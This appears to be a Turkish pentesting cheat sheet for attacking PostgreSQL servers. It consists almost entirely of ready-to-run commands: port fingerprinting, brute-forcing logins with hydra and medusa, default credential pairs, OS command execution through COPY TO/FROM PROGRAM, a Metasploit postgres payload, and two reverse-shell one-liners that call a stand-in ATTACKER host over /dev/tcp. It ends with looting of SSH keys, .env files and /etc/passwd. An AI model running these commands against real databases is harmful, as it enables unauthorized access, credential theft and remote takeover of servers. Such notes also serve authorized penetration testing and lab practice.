5432,5433 - Pentesting Postgresql
PostgreSQL database
Postgres COPY TO/FROM PROGRAM ve zayıf auth ile OS komutu çalıştırır. Hedef lab IP’si üzerinde komutları 5432 portuna göre uyarla; her başarıyı ayrı kanıtla.
Metodoloji
Section titled “Metodoloji”-
5432 doğrula.
-
Login brute.
-
Priv.
-
COPY PROGRAM / CVE.
nmap -Pn -sV -p5432 TARGETnmap -Pn -p5432 --script pgsql-brute TARGETpsql -h TARGET -U postgresnxc postgres TARGET -u postgres -p postgresCOPY (SELECT '') TO PROGRAM 'id'msfconsole -q -x 'use exploit/linux/postgres/postgres_payload; set RHOSTS TARGET; run'psql ... -c "CREATE TABLE x(t text); COPY x FROM PROGRAM 'bash -c bash>/dev/tcp/ATTACKER/443';"Derin enum
Section titled “Derin enum”,5433 - Postgresql için ek keşif ve fingerprint.
nmap -Pn -sV -sC -p5432,5433 TARGETnmap -Pn -p5432 --script safe,discovery TARGETtimeout 5 bash -c 'echo | openssl s_client -connect TARGET:5432' 2>/dev/null | headpython3 -c "import socket;s=socket.create_connection(('TARGET',5432));s.settimeout(3);print(s.recv(4096))"Banner / TLS / ALPN notları → ,5433 - PostgresqlKimlik & brute (ek)
Section titled “Kimlik & brute (ek)”hydra -L users.txt -P rockyou.txt -s 5432 PROTOCOL://TARGET -t 4medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 5432nmap -p5432 --script '*-brute' TARGETadmin/admin, root/root, guest/(boş), test/testExploit arama
Section titled “Exploit arama”searchsploit PostgreSQLmsfconsole -q -x 'search PostgreSQL; exit'nuclei -u https://TARGET:5432 -t cves/ -silent -severity || truenuclei -u http://TARGET:5432 -tags tech -silent || trueManuel protokol
Section titled “Manuel protokol”nc -nv TARGET 5432printf '' | timeout 3 nc -nv TARGET 5432curl -vk --http1.0 http://TARGET:5432/Wireshark/tcpdump ile konuşmayı kaydet; replay denePost-erişim & loot
Section titled “Post-erişim & loot”config, key, session, env, backupfind / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | headss -lntp; ip a; cat /etc/passwd | headbash -i >& /dev/tcp/ATTACKER/443 0>&1mkdir -p loot && tee loot/notes.txtOperasyon checklist
Section titled “Operasyon checklist”[ ] Fingerprint / sürüm[ ] Auth ve anonim erişim[ ] PoC etki gösterildi[ ] Credential/shell paketlendi[ ] Pivot notuZincir
Section titled “Zincir”login → COPY PROGRAM → reverse shell